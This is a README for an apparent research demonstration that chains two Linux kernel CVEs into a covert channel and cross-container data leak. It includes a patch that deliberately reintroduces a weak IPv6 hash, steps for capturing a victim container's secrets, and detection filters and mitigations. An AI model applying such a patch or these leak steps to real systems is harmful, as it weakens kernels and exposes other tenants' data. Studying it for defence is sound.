# Combined Covert Channel: CVE-2023-1206 + CVE-2024-49882

## Overview

This project demonstrates a covert communication channel using two Linux kernel vulnerabilities:

| Component | CVE | Purpose |
|-----------|-----|---------|
| **Sync Channel** | CVE-2023-1206 | Clock synchronization via IPv6 hash collision timing |
| **Data Channel** | CVE-2024-49882 | Cross-container data transfer via hugepage leaks |

```
┌─────────────────────────────────────────────────────────────────────┐
│                    Non-ENCRYPTED COVERT CHANNEL                     │
├─────────────────────────────────────────────────────────────────────┤
│  Container A (Sender)              Container B (Receiver)           │
│  ┌─────────────────┐               ┌─────────────────┐              │
│  │ 1. Write data   │               │ 4. Detect sync  │              │
│  │    to hugepage  │               │    preamble     │              │
│  └────────┬────────┘               └────────┬────────┘              │
│           │                                 │                        │
│           ▼                                 ▼                        │
│  ┌─────────────────┐   IPv6 Hash   ┌─────────────────┐              │
│  │ 2. Send sync    │──Collision───▶│ 5. Measure      │              │
│  │    preamble     │    Timing     │    latency      │              │
│  └────────┬────────┘               └────────┬────────┘              │
│           │                                 │                        │
│           ▼                                 ▼                        │
│  ┌─────────────────┐   Hugepage    ┌─────────────────┐              │
│  │ 3. Release      │───Reuse──────▶│ 6. Capture      │              │
│  │    hugepage     │               │    leaked data  │              │
│  └─────────────────┘               └─────────────────┘              │
└─────────────────────────────────────────────────────────────────────┘
```

## Prerequisites

### 1. Kernel Setup (CVE-2023-1206)

You need kernel 6.12 with the vulnerability reintroduced:

```bash
# Clone kernel source
cd ~
git clone --depth=1 --branch v6.12 https://github.com/torvalds/linux.git linux-6.12
cd linux-6.12

# Apply vulnerability patch
cat << 'EOF' > /tmp/vuln_patch.patch
--- a/include/net/ipv6.h
+++ b/include/net/ipv6.h
@@ -750,7 +750,12 @@ static inline u32 ipv6_addr_hash(const struct in6_addr *a)
 /* more secured version of ipv6_addr_hash() */
 static inline u32 __ipv6_addr_jhash(const struct in6_addr *a, const u32 initval)
 {
-	return jhash2((__force const u32 *)a->s6_addr32, 4, initval);
+	u32 v = (__force u32)a->s6_addr32[0] ^ (__force u32)a->s6_addr32[1];
+
+	return jhash_3words(v,
+			    (__force u32)a->s6_addr32[2],
+			    (__force u32)a->s6_addr32[3],
+			    initval);
 }
EOF

patch -p1 < /tmp/vuln_patch.patch

# Build and install
cp /boot/config-$(uname -r) .config
make olddefconfig
make -j$(nproc)
sudo make modules_install
sudo make install
sudo update-grub

# Reboot into vulnerable kernel
sudo reboot
```

### 2. Hugepage Setup (CVE-2024-49882)

```bash
# Allocate hugepages
echo 256 | sudo tee /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages

# Verify
cat /sys/kernel/mm/hugepages/hugepages-2048kB/free_hugepages

# Load udmabuf module
sudo modprobe udmabuf

# Verify /dev/udmabuf exists
ls -la /dev/udmabuf
```

### 3. Docker Setup

```bash
# Install Docker with IPv6 support
sudo apt-get update
sudo apt-get install -y docker.io docker-compose

# Enable IPv6 in Docker
sudo cat > /etc/docker/daemon.json << 'EOF'
{
  "ipv6": true,
  "fixed-cidr-v6": "fd00::/80",
  "experimental": true,
  "ip6tables": true
}
EOF

sudo systemctl restart docker
```

## Quick Start

### Build Everything

```bash
cd ~/covert_channel

# Build on host
make

# Build Docker containers
docker-compose build
```

### Test 1: Verify CVE-2023-1206 (Sync Channel)

```bash
# Run collision test
./test_collision

# Expected output:
# [VULNERABLE] All addresses hash to same value!
# [CRITICAL] ALL 1M addresses landed in ONE bucket!
```

### Test 2: Cross-Container Data Leak (CVE-2024-49882)

```bash
# Terminal 1: Start victim database
docker-compose up victim_db

# Terminal 2: Run attacker
docker-compose run --rm attacker
# Inside container:
cd /exploit
./exploit_debug

# Terminal 3: Stop victim to trigger leak
docker stop victim_db

# Watch Terminal 2 for leaked secrets!
```

### Test 3: Full Covert Channel

```bash
# Terminal 1: Start receiver
docker-compose run --rm receiver
cd /exploit
./covert_channel -r

# Terminal 2: Start sender
docker-compose run --rm sender
cd /exploit
./covert_channel -s "SECRET MESSAGE FROM CONTAINER A"

# Watch Terminal 1 receive the message!
```

## Wireshark Analysis

### Capture Setup

```bash
# On host, capture Docker bridge traffic
sudo tcpdump -i docker0 -w covert_channel.pcap

# Or capture specific network
sudo tcpdump -i br-$(docker network ls -q -f name=covert_net) -w covert.pcap
```

### Wireshark Filters

```
# Filter for sync channel (IPv6 TCP SYN floods)
ipv6 && tcp.flags.syn == 1 && tcp.flags.ack == 0

# Filter for specific collision bucket traffic
ipv6.dst contains 20:01:0d:b8

# Filter by port
tcp.port == 31337

# Show only connection attempts (no data)
tcp.len == 0 && tcp.flags.syn == 1

# Time-based analysis (connections per second)
# Statistics -> I/O Graphs -> Y Axis: Packets/s
```

### What to Look For

1. **Sync Preamble**: Alternating bursts of SYN packets
   - High packet rate during '1' bits
   - Low/no packets during '0' bits
   
2. **Timing Pattern**: 
   - ~100ms bit duration
   - Bursts of 1000+ connections
   
3. **IPv6 Address Pattern**:
   - All source addresses will have same XOR(addr[0], addr[1])
   - This is the collision signature

### Wireshark Lua Dissector (Optional)

Save as `~/.local/lib/wireshark/plugins/covert_channel.lua`:

```lua
-- Covert Channel Dissector for CVE-2023-1206

local covert_proto = Proto("covert_sync", "CVE-2023-1206 Covert Sync")

local f_collision = ProtoField.bool("covert.collision", "Hash Collision")
local f_bucket = ProtoField.uint32("covert.bucket", "Target Bucket", base.HEX)

covert_proto.fields = { f_collision, f_bucket }

function covert_proto.dissector(buffer, pinfo, tree)
    -- Check for IPv6 TCP SYN
    if pinfo.ipv6_src and pinfo.match_uint("tcp.flags", 0x02) then
        local src = pinfo.ipv6_src
        -- Check for collision pattern
        local a0 = src:get_bytes(0, 4)
        local a1 = src:get_bytes(4, 4)
        -- XOR check would go here
        
        local subtree = tree:add(covert_proto, buffer())
        subtree:add(f_collision, true)
    end
end

-- Register for TCP
local tcp_table = DissectorTable.get("tcp.port")
tcp_table:add(31337, covert_proto)
```

## Visualization with tshark

```bash
# Live packet rate graph
tshark -i docker0 -f "tcp port 31337" -q -z io,stat,0.1

# Extract timing data for plotting
tshark -r covert.pcap -T fields -e frame.time_relative -e ipv6.src \
    -Y "tcp.flags.syn==1" > timing_data.csv

# Plot with gnuplot
gnuplot << 'EOF'
set terminal png size 1200,400
set output 'timing_channel.png'
set xlabel 'Time (s)'
set ylabel 'Packets'
set title 'CVE-2023-1206 Covert Sync Channel'
plot 'timing_data.csv' using 1:(1) smooth frequency with impulses
EOF
```

## Troubleshooting

### No hugepages available

```bash
# Check current allocation
cat /proc/meminfo | grep Huge

# Increase allocation
echo 512 | sudo tee /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages

# If fails, try after dropping caches
sync; echo 3 | sudo tee /proc/sys/vm/drop_caches
echo 512 | sudo tee /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages
```

### udmabuf not available

```bash
# Load module
sudo modprobe udmabuf

# If missing, may need to enable in kernel config
# CONFIG_UDMABUF=m

# Create device if missing
sudo mknod /dev/udmabuf c 10 $(cat /proc/misc | grep udmabuf | cut -f1 -d' ')
```

### IPv6 not working in Docker

```bash
# Enable IPv6 forwarding
sudo sysctl -w net.ipv6.conf.all.forwarding=1

# Check Docker network
docker network inspect covert_net | grep -A5 IPv6

# Recreate network with IPv6
docker-compose down
docker network rm covert_channel_covert_net
docker-compose up
```

### Sync channel timing issues

```bash
# Increase bit duration for more reliable detection
# Edit covert_channel.c:
#define SYNC_BIT_DURATION_MS 200  # Increase from 100

# Increase threshold if false positives
#define SYNC_THRESHOLD 3.0  # Increase from 2.0
```

## Security Implications

This demonstrates several serious security issues:

1. **Container Isolation Bypass**: Hugepage reuse leaks data between containers
2. **Covert Communication**: Timing-based channels bypass network monitoring
3. **No Encryption Needed**: The channel itself is stealthy; adding encryption makes it undetectable

### Mitigations

1. Disable hugepages: `echo 0 > /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages`
2. Update kernel to patched version (6.5+)
3. Use `--security-opt=no-new-privileges` in Docker
4. Monitor for unusual TCP SYN patterns

## Files

| File | Description |
|------|-------------|
| `covert_channel.c` | Combined sync + data channel |
| `exploit_debug.c` | CVE-2024-49882 data channel only |
| `test_collision.c` | CVE-2023-1206 verification |
| `timing_channel.c` | Sync channel demonstration |
| `docker-compose.yml` | Container setup |
| `Dockerfile.*` | Container build files |

## References

- CVE-2023-1206: https://bugzilla.redhat.com/show_bug.cgi?id=2175903
- CVE-2024-49882: Linux kernel hugepage vulnerability
- Kernel patch: `d11b0df7ddf1831f3e170972f43186dad520bfcc`
